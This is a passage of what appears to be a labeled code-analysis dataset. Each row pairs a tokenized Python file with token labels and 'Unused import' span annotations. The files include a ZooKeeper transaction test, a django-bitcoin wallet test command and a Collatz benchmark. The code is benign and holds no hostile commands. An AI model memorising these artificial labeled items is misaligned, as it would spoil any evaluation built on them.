"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "EXPIRE", "D_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "after", "rollback_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vid_", "=_", "0_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zk_", "._", "register", "\\u", "update", "d\\u", "key_", "(_", "app_", ",_", "txid_", ",_", "vid_", ",_", "key_", "+_", "\"/", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "notif", "y", "\\u", "fail", "ed", "\\u", "transaction_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "zk_", "._", "is", "\\u", "blacklisted", "_", "(_", "app_", ",_", "txid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "value", " ", "after", " ", "rollback_", "\\u\\u\\uNL\\u\\u\\u_", "txi", "d2_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txi", "d2_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txi", "d2_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "previ", "ous", " ", "valid", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "valid", "\\u", "transaction", "\\u", "id_", "(_", "app_", ",_", "txid_", ",_", "key_", "+_", "\"/", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "vid_", ",_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "previ", "ous", " ", "valid", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "vid_", "=_", "100_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zk_", "._", "register", "\\u", "update", "d\\u", "key_", "(_", "app_", ",_", "txi", "d2_", ",_", "vid_", ",_", "key_", "+_", "\"/", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "try", " ", "to", " ", "get", " ", "update", "d", " ", "previ", "ous", " ", "valid", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "valid", "\\u", "transaction", "\\u", "id_", "(_", "app_", ",_", "txid_", ",_", "key_", "+_", "\"/", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "vid_", ",_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txi", "d2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "zk", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zk_", "=_", "zk", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "for", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "zk_", "._", "dump", "\\u", "tree_", "(_", "\"/", "apps", "cale", "/", "apps", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
kangasbros/django-bitcoin/django_bitcoin/management/commands/ExtensiveWalletTest.py
[ { "content": "from django.core.management.base import NoArgsCommand\nfrom django.conf import settings\nimport os\nimport sys\nimport re\nimport codecs\nimport commands\nimport urllib2\nimport urllib\nimport json\nimport random\nfrom time import sleep\nimport math\nimport datetime\nfrom django_bitcoin import Wallet\nfrom django_bitcoin.utils import bitcoind\nfrom decimal import Decimal\nimport warnings\nimport twitter\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Command(NoArgsCommand):\n help = 'Tweet with LocalBitcoins.com account.'\n", "metadata": "root.Command", "header": "['module', '___EOS___']", "index": 20 }, { "content": " def handle_noargs(self, **options):\n final_wallets = []\n process_num = random.randint(0, 1000)\n with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\",category=RuntimeWarning)\n for i in range(0, 3):\n w = Wallet.objects.create()\n # print \"starting w.id\", w.id\n addr = w.receiving_address()\n # print \"taddr\", w.id, addr\n final_wallets.append(w)\n for w in final_wallets:\n if w.total_balance_sql() > 0:\n print str(process_num) + \" error\", w.id\n raise Exception(\"damn!\")\n # print \"final\", w.id, w.static_receiving_address(), w.receiving_address()\n print str(process_num) + \" loading 0.001 to wallet #1\", w1.static_receiving_address()\n w1 = final_wallets[0]\n w2 = final_wallets[1]\n w3 = final_wallets[2]\n bitcoind.send(w1.static_receiving_address(), Decimal(\"0.001\"))\n while w1.total_balance_sql() <= 0:\n sleep(1)\n w1 = Wallet.objects.get(id=w1.id)\n # print w1.last_balance\n print str(process_num) + \" w1.last_balance \" + str(w1.last_balance)\n print str(process_num) + \"loading\"\n w1.send_to_wallet(w2, Decimal(\"0.0002\"))\n w1.send_to_wallet(w3, Decimal(\"0.0005\"))\n w3.send_to_address(w1, Decimal(\"0.0004\"))\n print str(process_num) + \" w1.last_balance \" + str(w1.last_balance)\n print str(process_num) + \" w2.last_balance \" + str(w2.last_balance)\n print str(process_num) + \" w3.last_balance \" + str(w3.last_balance)\n while w1.total_balance_sql() <= 0:\n sleep(1)\n w1 = Wallet.objects.get(id=w1.id)\n print str(process_num) + \"catching\"\n print str(process_num) + \" w1.last_balance \" + str(w1.last_balance)\n print str(process_num) + \" w2.last_balance \" + str(w2.last_balance)\n print str(process_num) + \" w3.last_balance \" + str(w3.last_balance)", "metadata": "root.Command.handle_noargs", "header": "['class', 'Command', '(', 'NoArgsCommand', ')', ':', '___EOS___']", "index": 23 } ]
[ { "span": "from django.conf import settings", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 32 }, { "span": "import os", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 9 }, { "span": "import sys", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 10 }, { "span": "import re", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 9 }, { "span": "import codecs", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 13 }, { "span": "import commands", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 15 }, { "span": "import urllib2", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 14 }, { "span": "import urllib", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 13 }, { "span": "import json", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 11 }, { "span": "import math", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 11 }, { "span": "import datetime", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 15 }, { "span": "import twitter", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "management_", "._", "base_", "import_", "No", "Arg", "s", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "codecs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "commands_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "time_", "import_", "sleep_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django", "\\u", "bitcoin", "_", "import_", "Wallet_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django", "\\u", "bitcoin", "_", "._", "utils_", "import_", "bitcoin", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "decimal_", "import_", "Decimal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "twitter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Command_", "(_", "No", "Arg", "s", "Command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "help_", "=_", "'", "Tweet", " ", "with", " ", "Local", "Bit", "coins", ".", "com", " ", "account", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Command_", "(_", "No", "Arg", "s", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "noar", "gs_", "(_", "self_", ",_", "**_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "final", "\\u", "wallets_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "\\u", "num_", "=_", "random_", "._", "randint_", "(_", "0_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "warnings_", "._", "catch", "\\u", "warnings_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "filterw", "arnings", "_", "(_", "\"", "ignore", "\"_", ",_", "category_", "=_", "Run", "time", "Warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "w_", "=_", "Wallet_", "._", "objects_", "._", "create_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "\"", "startin", "g", " ", "w", ".", "id", "\",", " ", "w", ".", "id_", "\\u\\u\\uNL\\u\\u\\u_", "addr_", "=_", "w_", "._", "receiv", "ing", "\\u", "address_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "\"", "tad", "dr", "\",", " ", "w", ".", "id", ",", " ", "addr_", "\\u\\u\\uNL\\u\\u\\u_", "final", "\\u", "wallets_", "._", "append_", "(_", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "w_", "in_", "final", "\\u", "wallets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "w_", "._", "total", "\\u", "balance", "\\u", "sql_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "error", "\"_", ",_", "w_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Exception_", "(_", "\"", "dam", "n", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "\"", "final", "\",", " ", "w", ".", "id", ",", " ", "w", ".", "static", "\\u", "receiv", "ing", "\\u", "address", "()", ",", " ", "w", ".", "receiv", "ing", "\\u", "address", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "load", "ing", " ", "0.001", " ", "to", " ", "walle", "t", " ", "#", "1", "\"_", ",_", "w1_", "._", "static", "\\u", "receiv", "ing", "\\u", "address_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w1_", "=_", "final", "\\u", "wallets_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w2_", "=_", "final", "\\u", "wallets_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w3", "_", "=_", "final", "\\u", "wallets_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bitcoin", "d_", "._", "send_", "(_", "w1_", "._", "static", "\\u", "receiv", "ing", "\\u", "address_", "(_", ")_", ",_", "Decimal_", "(_", "\"", "0.001", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "w1_", "._", "total", "\\u", "balance", "\\u", "sql_", "(_", ")_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w1_", "=_", "Wallet_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "w1_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "w", "1", ".", "last", "\\u", "balance_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "w", "1", ".", "last", "\\u", "balance", " ", "\"_", "+_", "str_", "(_", "w1_", "._", "last", "\\u", "balance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", "load", "ing", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w1_", "._", "send", "\\u", "to", "\\u", "wallet_", "(_", "w2_", ",_", "Decimal_", "(_", "\"", "0.0002", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w1_", "._", "send", "\\u", "to", "\\u", "wallet_", "(_", "w3", "_", ",_", "Decimal_", "(_", "\"", "0.0005", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w3", "_", "._", "send", "\\u", "to", "\\u", "address_", "(_", "w1_", ",_", "Decimal_", "(_", "\"", "0.000", "4", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "w", "1", ".", "last", "\\u", "balance", " ", "\"_", "+_", "str_", "(_", "w1_", "._", "last", "\\u", "balance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "w2", ".", "last", "\\u", "balance", " ", "\"_", "+_", "str_", "(_", "w2_", "._", "last", "\\u", "balance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "w3", ".", "last", "\\u", "balance", " ", "\"_", "+_", "str_", "(_", "w3", "_", "._", "last", "\\u", "balance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "w1_", "._", "total", "\\u", "balance", "\\u", "sql_", "(_", ")_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w1_", "=_", "Wallet_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "w1_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", "catch", "ing", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "w", "1", ".", "last", "\\u", "balance", " ", "\"_", "+_", "str_", "(_", "w1_", "._", "last", "\\u", "balance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "w2", ".", "last", "\\u", "balance", " ", "\"_", "+_", "str_", "(_", "w2_", "._", "last", "\\u", "balance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "process", "\\u", "num_", ")_", "+_", "\"", " ", "w3", ".", "last", "\\u", "balance", " ", "\"_", "+_", "str_", "(_", "w3", "_", "._", "last", "\\u", "balance_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
iskandr/parakeet/benchmarks/collatz.py
[ { "content": "#\n# Longest hailstone sequence from http://www.mit.edu/~mtikekar/posts/stream-fusion.html\n#\nimport sys\n\n\n\nfrom compare_perf import compare_perf\n\ncompare_perf(maxLen, [1000000])\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def collatzLen(a0):\n a = a0\n length = 0\n while a != 1:\n a = (a if a%2 == 0 else 3*a+1) / 2\n length += 1\n return length", "metadata": "root.collatzLen", "header": "['module', '___EOS___']", "index": 5 }, { "content": "def maxLen(max_a0):\n max_length = 0\n longest = 0\n for a0 in xrange(1, max_a0 + 1):\n length = collatzLen(a0)\n if length > max_length:\n max_length = length\n longest = a0\n return max_length, longest", "metadata": "root.maxLen", "header": "['module', '___EOS___']", "index": 13 } ]
[ { "span": "import sys", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Long", "est", " ", "hai", "lst", "one", " ", "sequence", " ", "from", " ", "http", "://", "www", ".", "mit", ".", "edu", "/", "~", "mti", "ke", "kar", "/", "posts", "/", "stream", "-", "fusion", ".", "html_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "compare", "\\u", "perf_", "import_", "compare", "\\u", "perf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "compare", "\\u", "perf_", "(_", "max", "Len_", ",_", "[_", "1000000_", "]_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "colla", "tz", "Len_", "(_", "a0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "a0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "length_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "a_", "!=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "(_", "a_", "if_", "a_", "%_", "2_", "==_", "0_", "else_", "3_", "*_", "a_", "+_", "1_", ")_", "/_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "length_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "max", "Len_", "(_", "max", "\\u", "a0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "max", "\\u", "length_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "longest_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "a0_", "in_", "xrange_", "(_", "1_", ",_", "max", "\\u", "a0_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "length_", "=_", "colla", "tz", "Len_", "(_", "a0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "length_", 